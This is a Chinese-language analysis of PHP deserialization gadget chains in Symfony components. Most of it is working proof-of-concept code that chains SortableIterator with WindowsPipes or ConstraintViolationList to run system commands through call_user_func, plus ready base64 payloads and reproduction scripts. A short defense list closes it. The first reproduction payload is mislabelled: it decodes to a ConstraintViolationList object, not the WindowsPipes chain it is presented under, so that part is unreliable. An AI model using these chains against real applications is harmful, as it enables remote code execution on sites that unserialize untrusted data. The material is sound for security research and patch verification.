Symfony反序列化链分析
字数 973 2025-08-06 08:34:57
Symfony反序列化链分析与利用
0x01 Symfony组件介绍
Symfony组件是一系列独立的、可重用的PHP软件包,用于开发Web应用程序。这些组件提供了常见功能如路由、表单处理、模板引擎、安全性、数据库访问等,可以集成到Symfony框架中或作为独立库使用。
0x02 环境搭建
安装所需Symfony组件:
composer init
composer require symfony/finder
composer require symfony/process:4.4.18
composer require symfony/validator
0x03 POP链构造分析
核心漏洞点分析
在vendor/symfony/finder/Iterator/SortableIterator.php中,SortableIterator类实现了IteratorAggregate接口:
public function __construct(\Traversable $iterator, $sort, bool $reverseOrder = false) {
$this->iterator = $iterator;
$this->sort = is_callable($sort) ? $sort : null;
}
public function getIterator() {
if (null !== $this->sort) {
$array = iterator_to_array($this->iterator, true);
uasort($array, $this->sort);
return new \ArrayIterator($array);
}
return $this->iterator;
}
关键点:
$sort参数通过is_callable检查后可赋值为$this->sortgetIterator()方法中调用uasort(),其第二个参数可控uasort()可执行任意回调函数
利用思路
寻找类中的__toString()、__destruct()或__wakeup()方法中直接或间接使用foreach遍历类成员变量的地方,将成员变量设置为SortableIterator对象。
0x04 利用链分析
POP链1:通过WindowsPipes类利用
版本限制:2.6.0 <= 4.4.18
在vendor/symfony/process/Pipes/WindowsPipes.php中:
class WindowsPipes {
private $fileHandles = [];
public function __destruct() {
$this->close();
}
private function close() {
foreach ($this->fileHandles as $handle) {
fclose($handle);
}
}
}
POC构造:
<?php
namespace Symfony\Component\Process\Pipes {
class WindowsPipes {
private $fileHandles = [];
function __construct($fileHandles) {
$this->fileHandles = $fileHandles;
}
}
}
namespace Symfony\Component\Finder\Iterator {
class SortableIterator {
private $iterator;
private $sort;
function __construct($iterator, $sort) {
$this->iterator = $iterator;
$this->sort = $sort;
}
}
}
namespace GadgetChain {
$a = new \ArrayObject(['system', 'whoami']);
$b = new \Symfony\Component\Finder\Iterator\SortableIterator($a, "call_user_func");
$c = new \Symfony\Component\Process\Pipes\WindowsPipes($b);
$str = serialize($c);
echo base64_encode($str);
}
复现代码:
<?php
require __DIR__ . '/../vendor/autoload.php';
$str = 'Tzo1MToiU3ltZm9ueVxDb21wb25lbnRcVmFsaWRhdG9yXENvbnN0cmFpbnRWaW9sYXRpb25MaXN0IjoxOntzOjYzOiAAU3ltZm9ueVxDb21wb25lbnRcVmFsaWRhdG9yXENvbnN0cmFpbnRWaW9sYXRpb25MaXN0AHZpb2xhdGlvbnMiO086NTA6IlN5bWZvbnlcQ29tcG9uZW50XEZpbmRlclxJdGVyYXRvclxTb3J0YWJsZUl0ZXJhdG9yIjoyOntzOjYwOiIAU3ltZm9ueVxDb21wb25lbnRcRmluZGVyXEl0ZXJhdG9yXFNvcnRhYmxlSXRlcmF0b3IAaXRlcmF0b3IiO0M6MTE6IkFycmF5T2JqZWN0Ijo1NTp7eDppOjA7YToyOntpOjA7czo2OiJzeXN0ZW0iO2k6MTtzOjY6Indob2FtaSI7fTttOmE6MDp7fX1zOjU2OiIAU3ltZm9ueVxDb21wb25lbnRcRmluZGVyXEl0ZXJhdG9yXFNvcnRhYmxlSXRlcmF0b3IAc29ydCI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO319';
$a = unserialize(base64_decode($str));
?>
POP链2:通过ConstraintViolationList类利用
版本限制:2.0.4 <= 5.4.24 (all)
在vendor/symfony/validator/ConstraintViolationList.php中:
class ConstraintViolationList {
private $violations = [];
public function __toString() {
$string = '';
foreach ($this->violations as $violation) {
$string .= $violation."\n";
}
return $string;
}
}
POC构造:
<?php
namespace Symfony\Component\Validator {
class ConstraintViolationList {
private $violations = [];
function __construct($violations) {
$this->violations = $violations;
}
}
}
namespace Symfony\Component\Finder\Iterator {
class SortableIterator {
private $iterator;
private $sort;
function __construct($iterator, $sort) {
$this->iterator = $iterator;
$this->sort = $sort;
}
}
}
namespace GadgetChain {
$a = new \ArrayObject(['system', 'set /a 1+2']);
$b = new \Symfony\Component\Finder\Iterator\SortableIterator($a, "call_user_func");
$c = new \Symfony\Component\Validator\ConstraintViolationList($b);
$str = serialize($c);
echo base64_encode($str);
}
复现代码:
<?php
require __DIR__ . '/../vendor/autoload.php';
$str = 'Tzo1MToiU3ltZm9ueVxDb21wb25lbnRcVmFsaWRhdG9yXENvbnN0cmFpbnRWaW9sYXRpb25MaXN0IjoxOntzOjYzOiAAU3ltZm9ueVxDb21wb25lbnRcVmFsaWRhdG9yXENvbnN0cmFpbnRWaW9sYXRpb25MaXN0AHZpb2xhdGlvbnMiO086NTA6IlN5bWZvbnlcQ29tcG9uZW50XEZpbmRlclxJdGVyYXRvclxTb3J0YWJsZUl0ZXJhdG9yIjoyOntzOjYwOiIAU3ltZm9ueVxDb21wb25lbnRcRmluZGVyXEl0ZXJhdG9yXFNvcnRhYmxlSXRlcmF0b3IAaXRlcmF0b3IiO0M6MTE6IkFycmF5T2JqZWN0Ijo2MDp7eDppOjA7YToyOntpOjA7czo2OiJzeXN0ZW0iO2k6MTtzOjEwOiJzZXQgL2EgMSsyIjt9O206YTowOnt9fXM6NTY6IgBTeW1mb255XENvbXBvbmVudFxGaW5kZXJcSXRlcmF0b3JcU29ydGFibGVJdGVyYXRvcgBzb3J0IjtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7fX0=';
$a = unserialize(base64_decode($str));
echo $a;
?>
0x05 注意事项
- 生成的payload不能直接复制使用,因为涉及protected/private成员时序列化字符串中会有空字符,需要base64编码
- 不同版本的Symfony组件可能有差异,需注意版本限制
- 实际利用时需要考虑目标环境的具体配置和限制
0x06 防御措施
- 避免反序列化用户可控的数据
- 使用
allowed_classes选项限制反序列化的类 - 及时更新Symfony组件到最新版本
- 实施输入验证和过滤